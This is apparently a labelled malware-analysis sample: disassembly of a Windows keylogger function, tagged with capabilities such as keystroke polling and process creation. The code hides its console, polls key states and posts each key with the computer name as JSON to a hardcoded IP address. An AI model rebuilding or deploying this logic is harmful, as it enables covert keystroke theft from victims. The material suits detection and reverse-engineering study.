Function at 0x140002af0
Capabilities:
Create process on windows
Log keystrokes via polling
Schedule task via at

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x620]
sub rsp, 0x720
mov rax, qword [0x1400150c0]
xor rax, rsp
mov qword [rbp + 0x610], rax
xor esi, esi
mov r12d, esi
mov dword [rsp + 0x30], esi
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.140001e60
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.a.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, 0xffff8001
lea rdi, [0x140000000]
lea r14, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
lea r15, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 8
mov dword [rsp + 0x34], eax
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, bx
jne 0x140003a3f
mov ebx, dword [rsp + 0x34]
lea eax, [rbx - 2]
cmp eax, 0xbc
ja case.0x140002bdc.16
cdqe
movzx eax, byte [rdi + rax + 0x3aec]
mov ecx, dword [rdi + rax*4 + 0x3ab0]
add rcx, rdi
jmp rcx
mov r8d, 5
lea rdx, str.SPACE
jmp 0x140002ce1
lea rdx, str.NEWLINE
mov r8d, 7
lea rcx, [0x140015148]
call fcn.140004a20
mov byte [0x140015d30], 1
mov al, 1
jmp 0x140002cf5
mov r8d, 1
lea rdx, [0x1400108f0]
jmp 0x140002bfd
lea rdx, str.SHIFT
jmp 0x140002bf7
mov r8d, 9
lea rdx, str.BACKSPACE
jmp 0x140002bfd
mov r8d, 9
lea rdx, str.R_CLICK
jmp 0x140002bfd
mov r8d, 0xb
lea rdx, str.CAPS_LOCK
jmp 0x140002bfd
mov r8d, 4
lea rdx, str.TAB
jmp 0x140002bfd
mov r8d, 3
lea rdx, [0x140010964]
jmp 0x140002bfd
mov r8d, 5
lea rdx, str.DOWN
jmp 0x140002bfd
mov r8d, 5
lea rdx, str.LEFT
jmp 0x140002bfd
mov r8d, 6
lea rdx, str.RIGHT
jmp 0x140002bfd
mov r8d, 8
lea rdx, str.CONTROL
jmp 0x140002bfd
mov r8d, 4
lea rdx, str.ALT
jmp 0x140002bfd
mov r8d, 0xa
lea rdx, str.NONSPECIAL
lea rcx, [0x140015148]
call fcn.140004a20
xor al, al
mov byte [0x140015d30], al
lea rcx, [rbp + 0x210]
test al, al
jne 0x14000338b
call fcn.140001da0
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x230]
call sub.VCRUNTIME140.dll_memset
lea rax, [rdi + 0x10a70]
mov qword [rbp + 0x230], rax
lea rcx, [rbp + 0x2b8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r12d, 2
mov dword [rsp + 0x30], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x230]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x230], r14
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x22c], edx
lea rcx, [rbp + 0x238]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rbp + 0x238], r15
mov qword [rbp + 0x2a0], rsi
mov dword [rbp + 0x2a8], 4
lea rdx, str._computerName_:__
lea rcx, [rbp + 0x230]
call fcn.140004cc0
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0xf
cmova rdx, qword [rbp + 0x210]
mov r8, qword [rbp + 0x220]
mov rcx, rax
call fcn.140005de0
lea rdx, str.___key_:_
mov rcx, rax
call fcn.140004cc0
mov rcx, rax
movzx edx, bl
call fcn.140004ea0
mov rcx, rax
lea rdx, [0x140010a3c]
call fcn.140004cc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov rdi, rsi
mov qword [rbp + 0x1e0], rsi
mov r13d, 0xf
mov qword [rbp + 0x1e8], r13
mov byte [rbp + 0x1d0], 0
or r12d, 8
mov dword [rsp + 0x30], r12d
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
mov ecx, dword [rbp + 0x2a8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140002e89
mov rax, qword [rbp + 0x278]
mov r8, qword [rax]
test r8, r8
je 0x140002e89
mov rax, qword [rbp + 0x258]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x2a0]
cmovb r8, qword [rbp + 0x2a0]
sub r8, rdx
jmp 0x140002ec3
test cl, 4
jne 0x140002eb9
mov rax, qword [rbp + 0x270]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002eb9
mov rax, qword [rbp + 0x250]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x288]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140002ec3
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
test rdx, rdx
je 0x140002ee2
lea rcx, [rbp + 0x1d0]
call fcn.140004a20
mov r13, qword [rbp + 0x1e8]
mov rdi, qword [rbp + 0x1e0]
and r12d, 0xfffffff7
or r12d, 4
lea rdx, str.Content_Type
lea rcx, [rbp + 0x50]
call fcn.140001b80
nop
lea rdx, str.application_json
lea rcx, [rbp + 0x70]
call fcn.140001b80
nop
lea rax, [rbp + 0x50]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x90]
mov qword [rbp - 8], rax
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.140003d60
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
lea rsi, [rbp + 0x1d0]
mov r14, qword [rbp + 0x1d0]
cmp r13, 0xf
cmova rsi, r14
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140003a7b
cmp rdi, 0xf
ja 0x140002f96
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x60], xmm0
jmp 0x14000302b
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140002fb5
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140002fe5
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002fcf
xor eax, eax
jmp 0x14000300c
cmp rcx, 0x1000
jb 0x140003007
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003a60
mov rcx, rax
call fcn.14000d560
mov rcx, rax
test rax, rax
je 0x140003a59
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000300c
call fcn.14000d560
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rax, [rsp + 0x60]
mov qword [rbp], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x58]
call fcn.140003bb0
lea rax, vtable.cpr::Body.0
mov qword [rbp - 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xor esi, esi
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], rsi
mov ecx, 0x20
call fcn.14000d560
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x200], 0x11
mov qword [rbp + 0x208], 0x1f
movups xmm0, xmmword [str.172.50.8.207:80_a]
movups xmmword [rax], xmm0
movzx ecx, byte [0x140010a30]
mov byte [rax + 0x10], cl
mov byte [rax + 0x11], sil
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x210]
mov qword [rbp + 0x18], rax
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140003f10
lea rax, vtable.cpr::Url.0
mov qword [rbp - 0x80], rax
xor edx, edx
mov r8d, 0x2e8
lea rcx, [rbp + 0x320]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x320]
call fcn.140007670
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x320]
call fcn.1400086c0
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x320]
call fcn.140008570
mov rdx, r15
lea rcx, [rbp + 0x320]
call fcn.1400085d0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x320]
call fcn.140007f90
or r12d, 0x10
lea rcx, [rbp + 0x320]
call fcn.140005240
lea rcx, [rbp + 0x90]
call fcn.1400026d0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400031ac
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a66
call fcn.14000d8b4
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
lea r9, [fcn.1400046f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rbp + 0x1f0]
call fcn.14000d59c
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140003216
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003211
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a6d
call fcn.14000d8b4
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
lea r9, [fcn.1400046f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x60]
call fcn.14000d59c
nop
mov rcx, qword [rbp - 0x30]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x140003288
mov r8, qword [rdi + 0x10]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140006370
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.1400025b0
mov edx, 0x60
mov rcx, rbx
call fcn.14000d8b4
cmp byte [rdi + 0x19], 0
je 0x140003251
mov rcx, qword [rbp - 0x30]
mov edx, 0x60
call fcn.14000d8b4
nop
lea r9, [fcn.1400025b0]
mov edx, 0x40
mov r8d, 1
lea rcx, [rbp + 0x50]
call fcn.14000d59c
nop
cmp r13, 0xf
jbe 0x1400032e7
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400032de
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a74
mov rcx, r14
call fcn.14000d8b4
nop
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x230], r14
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x22c], edx
lea rcx, [rbp + 0x238]
call fcn.140004630
lea rcx, [rbp + 0x240]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x140003a2c
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001da0
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x230]
call sub.VCRUNTIME140.dll_memset
lea rax, [rdi + 0x10a70]
mov qword [rbp + 0x230], rax
lea rcx, [rbp + 0x2b8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r12d, 0x40
mov dword [rsp + 0x30], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x230]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x230], r14
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x22c], edx
lea rcx, [rbp + 0x238]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rbp + 0x238], r15
mov qword [rbp + 0x2a0], rsi
mov dword [rbp + 0x2a8], 4
lea rdx, str._computerName_:__
lea rcx, [rbp + 0x230]
call fcn.140004cc0
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0xf
cmova rdx, qword [rbp + 0x210]
mov r8, qword [rbp + 0x220]
mov rcx, rax
call fcn.140005de0
lea rdx, str.___key_:_
mov rcx, rax
call fcn.140004cc0
lea rdx, [0x140015148]
cmp qword [0x140015160], 0xf
cmova rdx, qword [0x140015148]
mov r8, qword [0x140015158]
mov rcx, rax
call fcn.140005de0
lea rdx, [0x140010a3c]
mov rcx, rax
call fcn.140004cc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov rdi, rsi
mov qword [rbp + 0x200], rsi
mov r13d, 0xf
mov qword [rbp + 0x208], r13
mov byte [rbp + 0x1f0], 0
bts r12d, 8
mov dword [rsp + 0x30], r12d
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
mov ecx, dword [rbp + 0x2a8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000352c
mov rax, qword [rbp + 0x278]
mov r8, qword [rax]
test r8, r8
je 0x14000352c
mov rax, qword [rbp + 0x258]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x2a0]
cmovb r8, qword [rbp + 0x2a0]
sub r8, rdx
jmp 0x140003566
test cl, 4
jne 0x14000355c
mov rax, qword [rbp + 0x270]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000355c
mov rax, qword [rbp + 0x250]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x288]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140003566
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
test rdx, rdx
je 0x140003585
lea rcx, [rbp + 0x1f0]
call fcn.140004a20
mov r13, qword [rbp + 0x208]
mov rdi, qword [rbp + 0x200]
btr r12d, 8
bts r12d, 7
lea rdx, str.Content_Type
lea rcx, [rbp + 0x50]
call fcn.140001b80
nop
lea rdx, str.application_json
lea rcx, [rbp + 0x70]
call fcn.140001b80
nop
lea rax, [rbp + 0x50]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x90]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.140003d60
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
lea rsi, [rbp + 0x1f0]
mov r14, qword [rbp + 0x1f0]
cmp r13, 0xf
cmova rsi, r14
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140003aaa
cmp rdi, 0xf
ja 0x14000363b
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x60], xmm0
jmp 0x1400036d0
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x14000365a
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000368a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140003674
xor eax, eax
jmp 0x1400036b1
cmp rcx, 0x1000
jb 0x1400036ac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003a88
mov rcx, rax
call fcn.14000d560
mov rcx, rax
test rax, rax
je 0x140003a81
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400036b1
call fcn.14000d560
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rax, [rsp + 0x60]
mov qword [rbp + 0x30], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x38], rax
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140003bb0
lea rax, vtable.cpr::Body.0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xor esi, esi
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e8], rsi
mov ecx, 0x20
call fcn.14000d560
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e0], 0x11
mov qword [rbp + 0x1e8], 0x1f
movups xmm0, xmmword [str.172.50.8.207:80_a]
movups xmmword [rax], xmm0
movzx ecx, byte [0x140010a30]
mov byte [rax + 0x10], cl
mov byte [rax + 0x11], sil
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x40], rax
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x48], rax
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x58]
call fcn.140003f10
lea rax, vtable.cpr::Url.0
mov qword [rbp - 0x58], rax
xor edx, edx
mov r8d, 0x2e8
lea rcx, [rbp + 0x320]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x320]
call fcn.140007670
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x320]
call fcn.1400086c0
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x320]
call fcn.140008570
mov rdx, r15
lea rcx, [rbp + 0x320]
call fcn.1400085d0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x320]
call fcn.140007f90
bts r12d, 9
lea rcx, [rbp + 0x320]
call fcn.140005240
lea rcx, [rbp + 0x90]
call fcn.1400026d0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140003852
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000384d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a8e
call fcn.14000d8b4
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
lea r9, [fcn.1400046f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rbp + 0x1d0]
call fcn.14000d59c
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400038bc
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a95
call fcn.14000d8b4
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
lea r9, [fcn.1400046f0]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x60]
call fcn.14000d59c
nop
mov rcx, qword [rbp - 0x20]
mov rbx, qword [rcx + 8]
cmp byte [rbx + 0x19], 0
jne 0x140003937
nop word [rax + rax]
mov r8, qword [rbx + 0x10]
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x20]
call fcn.140006370
mov rdi, rbx
mov rbx, qword [rbx]
lea rcx, [rdi + 0x20]
call fcn.1400025b0
mov edx, 0x60
mov rcx, rdi
call fcn.14000d8b4
cmp byte [rbx + 0x19], 0
je 0x140003900
mov rcx, qword [rbp - 0x20]
mov edx, 0x60
call fcn.14000d8b4
nop
lea r9, [fcn.1400025b0]
mov edx, 0x40
mov r8d, 1
lea rcx, [rbp + 0x50]
call fcn.14000d59c
nop
cmp r13, 0xf
jbe 0x140003996
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000398d
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a9c
mov rcx, r14
call fcn.14000d8b4
nop
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x230], r14
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x22c], edx
lea rcx, [rbp + 0x238]
call fcn.140004630
lea rcx, [rbp + 0x240]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x140003a2c
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003aa3
call fcn.14000d8b4
lea r15, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov ebx, 0xffff8001
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
cmp eax, 0xbe
jle 0x140002ba5
jmp 0x140002b91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001850
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400018f0
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001850
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400018f0
int3